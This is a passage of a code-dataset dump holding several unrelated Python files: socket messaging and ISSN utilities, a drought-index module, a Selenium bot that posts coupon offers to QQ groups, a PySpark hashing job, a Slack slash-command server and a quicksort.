StopIteration.\n\n ``stream`` is a readable socket, pipe, buffer of something like that.\n ``digest`` is a callable that generates a hash in order to avoid\n data transmission corruptions.\n \"\"\"\n\n if not callable(digest):\n raise ValueError('digest must be callable')\n\n # check if stream is a socket, and adapt it to\n # be handled as a file-object\n if hasattr(stream, 'getsockname'):\n try:\n stream, _ = stream.accept()\n except socket.error:\n logger.debug('%s stream is not listening. Trying to read it anyway.' % stream)\n\n stream = FileLikeSocket(stream)\n\n while True:\n # locking to prevent the message frame from being\n # corrupted\n with stdin_lock:\n header = stream.readline()\n if not header:\n raise StopIteration()\n\n in_digest, in_length = header.split(' ')\n in_message = stream.read(int(in_length))\n\n logger.debug('Received message header: %s message: %s' % (header, in_message))\n\n if in_digest == digest(in_message):\n yield pickle_dep.loads(in_message)\n else:\n logger.error('Received a corrupted message: %s, %s' % (header, in_message))\n continue\n\n\ndef prefix_file(filename, prefix):\n \"\"\"\n Renames ``filename`` adding the prefix ``prefix``.\n \"\"\"\n path, file_or_dir = os.path.split(filename)\n new_filename = os.path.join(path, prefix + file_or_dir)\n os.rename(filename, new_filename)\n\n\ndef mark_as_failed(filename):\n prefix_file(filename, '_failed_')\n\n\ndef mark_as_duplicated(filename):\n prefix_file(filename, '_duplicated_')\n\n\ndef setup_logging():\n global has_logger\n # avoid setting up more than once per process\n if has_logger:\n return None\n else:\n rootLogger = logging.getLogger('')\n rootLogger.setLevel(logging.DEBUG)\n socketHandler = logging.handlers.SocketHandler('localhost',\n logging.handlers.DEFAULT_TCP_LOGGING_PORT)\n # don't bother with a formatter, since a socket handler sends the event as\n # an unformatted pickle\n rootLogger.addHandler(socketHandler)\n has_logger = True\n\n\ndef normalize_data(data):\n \"\"\"\n Normalize the ``data`` param converting to uppercase and clean spaces\n\n Convert this: ' This is a test for something good '\n To this: 'THIS IS A TEST FOR SOMETHING GOOD'\n\n \"\"\"\n return ' '.join(data.upper().split())\n\n\ndef is_valid_doi(doi):\n \"\"\"\n Verify if the DOI is valid for CrossRef\n Validate URL: ``http://dx.doi.org/``\n Raise any connection and timeout error\n \"\"\"\n\n try:\n req = requests.get('http://dx.doi.org/%s' % doi, timeout=2.5)\n except (Timeout, RequestException) as e:\n logger.error('Can not validate doi: ' + str(e))\n raise\n else:\n return req.status_code == 200\n\n\ndef validate_issn(issn):\n \"\"\"\n This function analyze the ISSN:\n - Verify if it`s a string\n - Verify the length\n - Verify the format: ``0102-6720``\n - Return issn if it`s valid\n \"\"\"\n\n if not isinstance(issn, basestring):\n raise TypeError('Invalid type')\n if len(issn) != 9:\n raise ValueError('Invalid length')\n if not '-' in issn:\n raise ValueError('Invalid format')\n if calc_check_digit_issn(issn) != issn[-1]:\n raise ValueError('Invaid ISSN')\n\n return issn\n\n\ndef calc_check_digit_issn(issn):\n \"\"\"\n Calculate the check digit of the ISSN\n\n https://en.wikipedia.org/wiki/International_Standard_Serial_Number\n \"\"\"\n\n total = 0\n lissn = list(issn.replace('-', ''))\n\n for i, v in enumerate(lissn[:-1]):\n total = total + ((8-i) * int(v))\n\n remainder = total % 11\n\n if not remainder:\n check_digit = 0\n else:\n check_digit = 11 - remainder\n\n return 'X' if check_digit == 10 else str(check_digit)\n\n\ndef is_valid_issn(issn):\n \"\"\"\n Return True if valid, otherwise False.\n \"\"\"\n try:\n return bool(validate_issn(issn))\n except (ValueError, TypeError):\n return False\n\n\ndef parse_issue_tag(issue_tag_content):\n \"\"\"\n Parse issue tag content and returns issue number, label and supplement\n\n :returns: (number, label, suppl)\n \"\"\"\n # contents:\n # 2\n # Suppl\n # 3 Suppl 1\n # Suppl 1\n number, suppl_label, suppl = [None, None, None]\n if issue_tag_content:\n lower_issue = issue_tag_content.lower()\n if 'sup' in lower_issue:\n # number\n number = lower_issue[0:lower_issue.find('sup')].strip()\n if number == '':\n number = None\n\n # supplement label\n suppl_label = issue_tag_content[lower_issue.find('sup'):]\n if ' ' in suppl_label:\n suppl_label = suppl_label[0:suppl_label.find(' ')]\n\n # supplement\n suppl = issue_tag_content[issue_tag_content.find(suppl_label) + len(suppl_label):].strip()\n if suppl == '':\n suppl = None\n else:\n number = issue_tag_content\n\n return (number, suppl_label, suppl)\n\n\ndef supplement_type(volume, number, suppl):\n \"\"\"\n Identifies the type of the supplement: volume or number\n\n :param volume: issue volume\n :param number: issue number\n :param suppl: 1, Suppl, None\n :returns: (issue_suppl_volume, issue_suppl_number)\n \"\"\"\n issue_suppl_volume = None\n issue_suppl_number = None\n\n if number:\n issue_suppl_number = suppl\n else:\n issue_suppl_volume = suppl\n return (issue_suppl_volume, issue_suppl_number)\n\n\ndef issue_identification(volume, number, supplement):\n \"\"\"\n Identifies the elements which forms a issue: volume, number, supplement volume, supplement number\n\n :param volume: issue volume\n :param number: issue number\n :param supplement: 1, Suppl, None\n :returns: (volume, volume_suppl, number, number_suppl)\n \"\"\"\n # issue can have contents like: 2, Suppl, 3 Suppl 1, Suppl 1\n number, label, suppl = parse_issue_tag(number)\n if label and not suppl:\n suppl = label\n else:\n suppl = supplement\n volume_suppl, number_suppl = supplement_type(volume, number, suppl)\n\n if volume is not None:\n volume = volume.lstrip('0')\n\n if number is not None:\n number = number.lstrip('0')\n\n return (volume, volume_suppl, number, number_suppl)\n\n\nclass FileLikeSocket(object):\n \"\"\"\n Adapts socket instances to file-like objects.\n\n This adapters are used on :func:`send_message` and\n :func:`recv_messages`.\n\n It is important to note that instances are not\n thread-safe.\n \"\"\"\n def __init__(self, sock):\n self.sock = sock\n\n def readline(self):\n chars = []\n while True:\n char = self.sock.recv(1)\n if char != '\\n':\n chars.append(char)\n else:\n break\n\n return ''.join(chars)\n\n def read(self, len):\n return self.sock.recv(len)\n\n def write(self, bytes):\n self.sock.sendall(bytes)\n\n def flush(self):\n pass\n\n\ndef remove_unix_socket(sock_path):\n \"\"\"\n Cleanup existing sockets on filesystem.\n \"\"\"\n try:\n os.unlink(sock_path)\n except OSError:\n if os.path.exists(sock_path):\n raise\n\n\ndef get_readable_socket(sock_path, fresh=True):\n \"\"\"\n Gets a new socket server.\n\n :param sock_path: filepath to the unix socket.\n :param fresh: if the socket file should be removed before the new is created.\n :returns: instance of socket.\n \"\"\"\n if fresh:\n remove_unix_socket(sock_path)\n\n sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n sock.bind(sock_path)\n # can enqueue half the total connections the kernel supports,\n # close to 64 connections, but this value may vary according to the kernel.\n sock.listen(socket.SOMAXCONN / 2)\n return sock\n\n\ndef get_writable_socket(sock_path):\n \"\"\"\n Gets a new socket client.\n\n :param sock_path: filepath to the unix socket.\n :returns: instance of socket.\n \"\"\"\n sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n sock.connect(sock_path)\n return sock\n\n","sub_path":"balaio/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"365764335","text":"\"\"\"This module provides the storm trooper class.\"\"\"\n\nfrom deathstar.orders.orders import get_order\nfrom deathstar.results import Results\n\n\nclass StormTrooper(object):\n \"\"\"The guys that do all the actual work.\"\"\"\n\n def __init__(self):\n self._context = {}\n\n def execute(self, reps, orders, pre_orders, post_orders):\n \"\"\"Run all of the orders.\"\"\"\n for pre_order in pre_orders:\n get_order(pre_order)(self, self._context)\n\n results = Results()\n orders = {x: get_order(x) for x in orders}\n for _ in range(reps):\n for key, order in orders.items():\n (result, time_taken) = order(self, self._context)\n results.add_result(key, result, time_taken)\n\n for post_order in post_orders:\n get_order(post_order)(self, self._context)\n\n return results\n\n def get_context(self):\n \"\"\"Get the context object for this trooper.\"\"\"\n return self._context\n","sub_path":"deathstar/storm_trooper.py","file_name":"storm_trooper.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"157391838","text":"# Copyright (c) 2014, Vienna University of Technology (TU Wien), Department\n# of Geodesy and Geoinformation (GEO).\n# All rights reserved.\n\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# * Neither the name of the Vienna University of Technology - Department of\n# Geodesy and Geoinformation nor the names of its contributors may be used to\n# endorse or promote products derived from this software without specific\n# prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL VIENNA UNIVERSITY OF TECHNOLOGY,\n# DEPARTMENT OF GEODESY AND GEOINFORMATION BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n# Author: Thomas Mistelbauer thomas.mistelbauer@geo.tuwien.ac.at\n# Creation date: 2014-08-04\n\n\"\"\"\nDescription of module.\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom poets.timedate.dekad import get_dekad_period\n\n\ndef calc_CDI(data, refparam=None, lags=[0, 10]):\n \"\"\"\n Calculates a weighted average over all columns of a pandas DataFrame.\n\n Parameters\n ----------\n data : pandas.DataFrame\n Pandas DataFrame containing data to be averaged.\n refparam : str, optional\n Reference parameter. If not set, parameters will be weighted\n equally.\n lags : list of int, optional\n Time periods to shift parameter against refparam, defaults to [0, 10].\n\n Returns\n -------\n df : pandas DataFrame\n Return the average of data\n \"\"\"\n\n cols = data.keys()\n dat = np.array(data[cols])\n dat = np.ma.masked_invalid(dat)\n\n weights = calc_weights(data, refparam, lags)\n\n if refparam is None:\n avg = np.ma.average(dat, axis=1)\n else:\n avg = np.ma.average(dat, axis=1, weights=weights)\n df = pd.DataFrame(avg, columns=['CDI'], index=data.index)\n\n return df\n\n\ndef calc_weights(data, refparam, lags=[0, 10], exclude=None):\n \"\"\"\n Calculates the weights of parameters for weighted averaging. Weights\n are calculated using correlation and time shift of each parameter\n against the reference parameter. Parameters must be direct proportional\n to reference parameter!\n\n Parameters\n ----------\n data : pandas.DataFrame\n DataFrame containing data in columns.\n refparam : str\n Reference parameter.\n lags : list of int, optional\n Time periods to shift parameter against refparam,\n defaults to [0, 10].\n exclude : string, optional\n Variable which should not be used for calculation of the weights.\n\n Returns\n -------\n sorted_weights : list of int\n Weights associated with the parameters in data.\n \"\"\"\n\n params = data.keys()\n\n maxlag = {}\n maxcorr = {}\n weights = {}\n sorted_weights = []\n\n correlations = calc_correlation(data, refparam, lags, exclude)\n\n for param in params:\n if exclude is not None and exclude in param:\n continue\n maxlag[param] = correlations[param]['lag']\n maxcorr[param] = correlations[param]['corr']\n\n for key in maxlag.keys():\n weights[key] = (float(maxlag[key])) / sum(maxlag.values()) * 100\n\n for key in maxcorr.keys():\n weights[key] = ((weights[key] +\n (float(maxcorr[key]) / sum(maxcorr.values())) *\n 100) / 2)\n\n for param in params:\n if exclude is not None and exclude in param:\n continue\n sorted_weights.append(weights[param])\n\n return sorted_weights\n\n\ndef calc_correlation(data, refparam, lags=[0, 10], exclude=None):\n \"\"\"\n Calculates the correlations between parameters and a reference\n parameter given as columns in a DataFrame.\n\n Parameters\n ----------\n data : pandas.DataFrame\n DataFrame containing data in columns.\n refparam : str\n Reference parameter.\n lags : list of int, optional\n Time periods to shift parameter against refparam,\n defaults to [0, 10].\n exclude : string, optional\n Variable which should not be used for calculation of the correlation.\n\n Returns\n -------\n correlation : dict\n Dictionary containing correlations and max time lags.\n \"\"\"\n\n correlation = {}\n\n for param in data.keys():\n if exclude is not None and exclude in param:\n continue\n correlation[param] = {'corr': None, 'lag': None}\n for i in range(lags[0], lags[1]):\n i += abs(lags[0]) + 1\n corr = data[param].corr(data[refparam].shift(periods=i),\n method='pearson')\n if correlation[param]['corr'] is None:\n correlation[param]['corr'] = abs(corr)\n correlation[param]['lag'] = i\n if abs(corr) > abs(correlation[param]['corr']):\n correlation[param]['corr'] = abs(corr)\n correlation[param]['lag'] = i\n if abs(corr) == abs(correlation[param]['corr']):\n if abs(i) < abs(correlation[param]['lag']):\n correlation[param]['corr'] = abs(corr)\n correlation[param]['lag'] = i\n\n return correlation\n\n\ndef calc_DI(data, inverse=False, interest_period=[6, 12, 24], scaled=False,\n scale_zero=False, modf_all=False):\n \"\"\"\n Calculates a Drought Index based on an algorithm developed by\n FAO SWALIM.\n\n Parameters\n ----------\n data : pandas.DataFrame\n Input data as Pandas DataFrame, must come with column names.\n inverse : bool\n Inverts the input time series; set True if time series is indirect\n proportional to the expected output, e.g. Temperature with output\n Temperature Drought Index.\n interest_period : list of int, optional\n interest periods used to calculate drought index,\n defaults to [6, 12, 24]\n scaled : boolean, optional\n If True values will be scaled between 0 and 1.\n scale_zero : boolean, optional\n If True values will be shifted around zero, defaults to False.\n modf_all : boolean, optional\n If True values will be modified, independent of their min.\n \"\"\"\n\n ts_date = data.index\n variables = data.keys()\n data['period'] = get_dekad_period(ts_date)\n\n for var in variables:\n\n if inverse is True:\n data[var] = ((data[var].max() + 1) - data[var])\n\n if modf_all is True:\n data['modf'] = data[var] + 1\n del data[var]\n elif data[var].min() == 0:\n data['modf'] = data[var] + 1\n del data[var]\n else:\n data['modf'] = data[var]\n del data[var]\n\n data['modf_avg'] = (data.groupby('period').modf\n .transform(lambda x: x.mean()))\n\n # Excess\n # Dekads below long term average. If the statement is true the\n # program return 1\n data['exc'] = np.choose((data['modf_avg'] / data['modf']) >= 1,\n [0, 1])\n\n # Run length\n # Maximum number of successive dekads below long term average\n for ip in interest_period:\n data['rlen'] = pd.rolling_apply(data['exc'], ip,\n (lambda x:\n len(max((''.join(str(j)\n for j in map(int,\n x)))\n .split('0')))),\n ip)\n\n # get modified run length\n max_rlen = data['rlen'].max()\n data['rlen'] = (max_rlen + 1) - data['rlen']\n\n # average run lenghts\n rlen_avg = (data.groupby('period').modf\n .transform(lambda x: x.mean()))\n data['form'] = data['rlen'] / rlen_avg\n\n # sumip matrix\n # calculates sum of the values for each interest period\n data['sumip'] = pd.rolling_apply(data['modf'], ip,\n lambda x: np.nansum(x),\n round(ip * 0.6))\n\n # average values for each interest period over all years\n sumip_avg = (data.groupby('period')['sumip']\n .transform(lambda x: x.mean()))\n data['nrl'] = data['sumip'] / sumip_avg\n\n # calculating PDI/TDI\n data['val'] = data['nrl'] * np.sqrt(data['form'])\n\n # scaled index\n dkey = var + '_DI_' + str(ip)\n if scaled:\n data[dkey] = ((data['val'] - data['val'].min()) /\n (data['val'].max() - data['val'].min()))\n else:\n data[dkey] = data['val']\n\n if scale_zero:\n data[dkey] = data[dkey] - data[dkey].mean()\n\n del (data['val'], data['nrl'], data['sumip'], data['rlen'],\n data['form'])\n\n # deletes not further relevant columns\n del data['modf'], data['modf_avg'], data['exc']\n\n del data['period']\n\n return data\n\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"cdi.py","file_name":"cdi.py","file_ext":"py","file_size_in_byte":10174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"75584790","text":"#! /data/sever/python/bin/python\n# -*- coding:utf-8 -*-\n\"\"\"\n@file: webqq.xpath.py\n@date: 2016-10-29\n\"\"\"\n\n__author__ = 'root'\n\nimport time\nimport random\nimport logging\nimport datetime\nfrom selenium.webdriver.common.keys import Keys\n\nimport pymongo\nfrom selenium import webdriver\n\nfrom lib.mongo import MongoClient\n\n\nclass WebQQ(object):\n \"\"\"\n WebQQ\n \"\"\"\n\n def __init__(self):\n \"\"\"\n __init__\n :return:\n \"\"\"\n self.url = \"http://w.qq.com\"\n self.driver = webdriver.Firefox()\n\n def login(self):\n \"\"\"\n 登录和判断登录\n :return:\n \"\"\"\n self.driver.get(self.url)\n while not self.__check_login:\n logging.info(\"当前检查未登录状态,15s后再次检查!\")\n time.sleep(15)\n logging.info(\"登录成功!\")\n time.sleep(10)\n return self\n\n @property\n def __check_login(self):\n \"\"\"\n 检查登录状态\n :return:\n \"\"\"\n try:\n # WebDriverWait(self.driver, 10).until(lambda x: x.find_element_by_xpath(\".//*[@id='mainTopAll']/div[1]\"))\n self.driver.find_element_by_xpath(\".//*[@id='mainTopAll']/div[1]\")\n return True\n except Exception:\n pass\n return False\n\n def prepare(self):\n \"\"\"\n 前期操作环境准备,联系人、群\n :return:\n \"\"\"\n self._click_contact()\n self._click_member_tab()\n\n def _click_contact(self, count=1, max_count=10):\n \"\"\"\n 模拟点击联系人\n :return:\n \"\"\"\n if count > max_count:\n return False\n try:\n self.driver.find_element_by_xpath(\".//*[@id='contact']/a\").click()\n return True\n except Exception:\n return self._click_contact(count + 1, max_count)\n\n def _click_member_tab(self, count=1, max_count=10):\n \"\"\"\n 模拟点击群\n :param count:\n :param max_count:\n :return:\n \"\"\"\n if count > max_count:\n return False\n try:\n self.driver.find_element_by_xpath(\".//*[@id='memberTab']/li[2]\").click()\n return True\n except Exception:\n return self._click_member_tab(count + 1, max_count)\n\n def scroll_member_tab(self, member_name, count=1, max_count=10):\n \"\"\"\n 定位群\n :return:\n \"\"\"\n if count > max_count:\n return False\n try:\n\n # member_tab = WebDriverWait(self.driver, 10).until(lambda x: x.find_element_by_xpath(\n # \".//div[@id='group_list_scroll_area']/ul/li/node()[contains(text(), '{}')]\".format(member_name)\n # ))\n member_tab = self.driver.find_element_by_xpath(\n \".//div[@id='group_list_scroll_area']/ul/li/node()[contains(text(), '{}')]\".format(member_name))\n self.driver.execute_script(\"arguments[0].scrollIntoView()\", member_tab)\n member_tab.click()\n return True\n except Exception:\n return self.scroll_member_tab(member_name, count + 1, max_count)\n\n def send_keys(self, *contents):\n \"\"\"\n 发送消息\n :param content:\n :return:\n \"\"\"\n try:\n textarea = self.driver.find_element_by_xpath(\".//*[@id='chat_textarea']\")\n for content in contents:\n textarea.send_keys(content.decode(\"utf-8\"))\n textarea.send_keys(Keys.LEFT_CONTROL, Keys.ENTER)\n except Exception as ex:\n pass\n self._click_post()\n\n def _click_post(self, count=1, max_count=5):\n \"\"\"\n 模拟点击发送\n :param count:\n :param max_count:\n :return:\n \"\"\"\n if count > max_count:\n return False\n try:\n self.driver.find_element_by_xpath(\".//*[@id='send_chat_btn']\").click()\n return True\n except Exception:\n return self._click_post(count + 1, max_count)\n\n def quit(self):\n \"\"\"\n 推出\n :return:\n \"\"\"\n self.driver.quit()\n\n\ndef now_date():\n \"\"\"\n 今天日期\n :return:\n \"\"\"\n return datetime.datetime.strptime(datetime.datetime.now().strftime(\"%Y-%m-%d\"), \"%Y-%m-%d\")\n\n\ndef next_date():\n \"\"\"\n 明天日期\n :return:\n \"\"\"\n return now_date() + datetime.timedelta(days=1)\n\n\ndef prev_date():\n \"\"\"\n 昨天日期\n :return:\n \"\"\"\n return now_date() + datetime.timedelta(days=-1)\n\n\ndef now_time_str():\n return datetime.datetime.now().strftime(\"%H:%M:%S\")\n\n\ndef to_date(date):\n \"\"\"\n 字符串转换\n :param date:\n :return:\n \"\"\"\n return datetime.datetime.strptime(date, \"%Y-%m-%d\")\n\n\nif __name__ == \"__main__\":\n\n push_date_list = []\n mc = MongoClient()\n qq = WebQQ()\n qq.login()\n qq.prepare()\n logging.info(\"前期环境准备完成!\")\n # 开始群发送消息\n # 天猫淘宝内部优惠1群\n # 卡帝乐鳄鱼品牌折扣\n qun_list = [\"天猫淘宝内部优惠1群\", \"天猫淘宝内部优惠2群\"]\n while 1:\n # 每隔60秒检查\n if now_time_str() < \"07:30:00\" or now_time_str() > \"20:30:00\" or now_date() in push_date_list:\n logging.info(\"检查不符合推送条件,稍后重新检查!\")\n time.sleep(60)\n continue\n # 准备昨天导入的数据\n prepare_data = mc.excel_data.find(\n # {\"import_date\": now_date().strftime(\"%Y-%m-%d\")}\n {\"import_date\": prev_date().strftime(\"%Y-%m-%d\")}\n ).sort(\"max_charge\", pymongo.DESCENDING).limit(100)\n # 过滤掉优惠券不可用的数据\n prepare_data = [val for val in prepare_data if now_date() <= to_date(val[\"coupon_end_date\"])]\n logging.info(\"已准备好%s推送的数据%s条!\", now_date().strftime(\"%Y-%m-%d\"), len(prepare_data))\n # 添加今天已推送记录\n push_date_list.append(now_date())\n for qun_name in qun_list:\n qq.scroll_member_tab(qun_name)\n logging.info(\"自动选择QQ群:%s成功!\", qun_name)\n qq.send_keys(\"开始分享今天的特优商品!\")\n # 开始推送\n for item in prepare_data:\n msg_tpl = [\n \"{} 原价【{}元】领券面值【{}】\".format(\n item[\"trade_name\"].encode(\"utf-8\"),\n item[\"trade_price\"].encode(\"utf-8\"),\n item[\"coupon_denomination\"].encode(\"utf-8\")),\n \"领券地址:{}\".format(item[\"coupon_push_link\"].encode(\"utf-8\")),\n \"本群产品是群主申请的内部优惠劵的优质商品,数量有限谢谢大家的支持。祝大家购物愉快!\"\n ]\n qq.send_keys(*msg_tpl)\n logging.info(\"push %s ok!\", item[\"trade_name\"].encode(\"utf-8\"))\n time.sleep(random.randint(30, 60))\n logging.info(\"%s 推送完成!\", now_date().strftime(\"%Y-%m-%d\"))\n import pdb\n pdb.set_trace()\n qq.quit()\n","sub_path":"core/crawler/webqq.py","file_name":"webqq.py","file_ext":"py","file_size_in_byte":7078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"246250258","text":"from text_reuse_pipline.helpers import VSH\n\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql.context import SQLContext\nfrom pyspark.sql.functions import udf, col, when, size\nfrom pyspark.sql.types import *\nfrom pyspark.ml.feature import Tokenizer, CountVectorizer, IDF, StopWordsRemover, CountVectorizerModel\nimport numpy as np\n\ndef hash_partition(p, model):\n import tensorflow as tf\n import numpy as np\n import os, zipfile\n \n l = list(p)\n \n d_ids = list(map(lambda x: x.d_id, l))\n \n #computing codes from tfidf vectors\n print('trying to transform feature vector..')\n codes = model.transform(list(map(lambda x: x.tfidf.toArray(), l)))\n result = zip(d_ids, codes)\n \n model.cleanup()\n\n return result\n\ndef tfidf(df, cv_model, input_clm, output_clm):\n tokenizer = Tokenizer(inputCol=input_clm, outputCol=\"tokens\")\n tokenized_df = tokenizer.transform(df)\n\n #remove stopwords\n remover = StopWordsRemover(inputCol=\"tokens\", outputCol=\"filtered_tokens\")\n tokenized_df = remover.transform(tokenized_df)\n\n \n def tokens_filter(tokens):\n from nltk.stem import SnowballStemmer\n snowball_stemmer = SnowballStemmer(\"english\")\n \n filtered_tokens = list(filter(lambda x: len(x) > 2 and x.isalpha(), tokens))\n stemmed_tokens = list(map(lambda x: snowball_stemmer.stem(x), filtered_tokens))\n return stemmed_tokens\n \n token_filter_udf = udf(lambda x: tokens_filter(x), ArrayType(StringType()))\n tokenized_df = tokenized_df.withColumn('filtered_tokens', token_filter_udf('filtered_tokens'))\n \n para_featurized_df = cv_model.transform(tokenized_df)\n\n para_idf = IDF(inputCol='rawfeatures', outputCol=output_clm)\n para_idf_model = para_idf.fit(para_featurized_df)\n\n tfidf_df = para_idf_model.transform(para_featurized_df)\n\n return tfidf_df\n\ndef run(sc, args):\n ds_path = args[0]\n output_path = args[1]\n \n model_path = args[2]\n model_name = args[3]\n\n original_dim = int(args[4])\n hidden_dim = int(args[5])\n latent_dim = int(args[6])\n\n cv_model_path = 'text-reuse/pipeline/vsh-hashing/cv_model'\n cv_model = CountVectorizerModel.load(cv_model_path)\n\n threshold = None\n if latent_dim == 8:\n threshold = np.array([ 0.1457837 , 0.061413 , -0.03391605, 0.04686656, -0.14745404,\n -0.08641829, -0.04190724, -0.05972087])\n\n elif latent_dim == 16:\n threshold = np.array([ 0.00231892, -0.00791987, 0.00027306, 0.07018767, -0.07945273,\n 0.01763633, 0.01450929, 0.04488222, -0.0289745 , 0.02851318,\n 0.01496754, 0.00133035, -0.00523619, -0.10513094, 0.07906742,\n -0.07930097])\n\n else:\n threshold = np.array([-0.01227623, -0.00382998, -0.00029179, -0.04484864, -0.02657753,\n 0.01505825, 0.00319679, -0.01186464, -0.03057225, 0.02324941,\n 0.01272652, -0.01289577, -0.02995954, 0.04656317, -0.01781761,\n -0.01934269, 0.1332021 , 0.00064231, 0.01289176, -0.00131864,\n 0.02279386, -0.06245026, -0.02096441, 0.01817522, 0.02722896,\n 0.0211685 , 0.01392594, -0.06448705, 0.00062385, 0.02365676,\n -0.01207885, 0.02566718])\n\n\n vdsh_loader = VSH.VDSHLoader(model_path, model_name, threshold , original_dim, hidden_dim, latent_dim)\n\n df = sc.pickleFile(ds_path).toDF()\n\n tfidf_df = tfidf(df, cv_model, 'paragraph', 'tfidf')\n tfidf_rdd = tfidf_df.rdd.repartition(8000)\n\n tfidf_rdd = tfidf_rdd.mapPartitions(lambda p: hash_partition(p, vdsh_loader))\n tfidf_rdd.saveAsPickleFile(output_path)\n ","sub_path":"text_reuse_pipline/jobs/vsh_hash.py","file_name":"vsh_hash.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"541428233","text":"from flask import Flask, request, Response\nimport os\nimport json\n\n\n# Verification Token from Basic Information page\nAPP_TOKEN = os.environ.get(\"APP_VERIFICATION_TOKEN\")\n\n\n# Create Flask Server\napp = Flask(__name__)\n\n\n# Print Header to the terminal when app is started\nprint(\"-------------------------\")\nprint(\" Slash Command App\") \nprint(\"-------------------------\")\nprint()\n\n\n# Test route for local debugging\n@app.route(\"/test\", methods=['GET', 'POST'])\ndef test():\n return(\"## Test route is working! ###\") # debug\n\n\n# Server route for Events API Request URL\n@app.route(\"/slash\", methods=['GET', 'POST'])\n# This function receives the HTTP POST from Slack\ndef main_handler():\n # Verify the app token\n if request.form[\"token\"] == APP_TOKEN:\n # Stores the raw POST data in \"slash_command_payload\"\n slash_command_payload = request.form\n # Calls and passes the raw POST data to the \"handler_function\"\n my_response = message_handler(slash_command_payload)\n # Posts the response back in channel\n return Response(my_response, 200)\n else:\n # Handles the case for an invalid request\n failed_response = \"Invalid Token: Request Denied\"\n # Posts the response back in channel\n return Response(failed_response, 403)\n\n\n# This function takes in the raw payload from \"slash_command_payload\"\ndef message_handler(slash_command_payload):\n # print(slash_command_payload) # debugging\n # Parse the specific parameters from the \"slash_command_payload\" and set variables\n command = slash_command_payload[\"command\"]\n channel = slash_command_payload[\"channel_name\"]\n username = slash_command_payload[\"user_name\"]\n # Formats the message with the specific parameters to be posted back in channel\n success_response = (\"The command ran is \" + command + \n \". The chanel the command was ran in is \" + channel +\n \". The user who ran the command is \" + username + \".\")\n return success_response\n\n\n# Run the Flask server with 'debug=True' exposes more details for debugging\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"slash-command/slash-command.py","file_name":"slash-command.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"574539368","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jun 13 18:32:50 2020\r\n\r\n@author: Girish_PC\r\n\"\"\"\r\n\r\n\r\ndef swap(number1,number2):\r\n return (number2,number1)\r\n \r\n\r\ndef partition(input_list,lower_bound,upper_bound):\r\n key = input_list[lower_bound]\r\n start_index = lower_bound\r\n end_index = upper_bound\r\n\r\n while(start_index < end_index):\r\n while(input_list[start_index] <= key):\r\n start_index+=1\r\n while(input_list[end_index] > key):\r\n end_index-=1\r\n if(start_index < end_index):\r\n input_list[start_index],input_list[end_index] = swap(input_list[start_index],input_list[end_index])\r\n \r\n input_list[lower_bound],input_list[end_index] = swap(input_list[lower_bound],input_list[end_index])\r\n return end_index\r\n\r\n\r\n\r\ndef sorting(input_list,lower_bound,upper_bound):\r\n if(lower_bound \",end=\"\")\r\n input_list.append(int(input()))\r\n \r\n print(\"The input list was before sorting : \\n \",input_list)\r\n #print(\"before_sorting : \",time.process_time())\r\n lower_bound = 0\r\n upper_bound = len(input_list)-1\r\n sorting(input_list,lower_bound,upper_bound)\r\n #print(\"after_sorting : \",time.process_time())\r\n print(\"The input list is after sorting : \\n \",input_list)\r\n print()\r\n \r\n\r\nif __name__ == '__main__':\r\n menu()\r\n input(\"Enter any key to exit\")","sub_path":"quick_sort_algorithm/quick_sorting_algorithm.py","file_name":"quick_sorting_algorithm.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"68353493","text":"# -*- coding: utf-8 -*-\n# http://google-styleguide.googlecode.com/svn/trunk/pyguide.html\n\nschema = {\n \"description\": \"Schema for the templates PUT endpoint\",\n \"type\": \"object\",\n \"method\": \"PUT\",\n \"required\": [\"label\", \"text\"],\n \"additionalProperties\": False,\n \"properties\": {\n \"label\": {\n \"type\": \"string\",\n \"minLength\": 8,\n \"maxLength\": 128,\n \"messages\": {\n \"type\": \"Label needs to be string type\",\n \"minLength\": \"Min length of label is 8 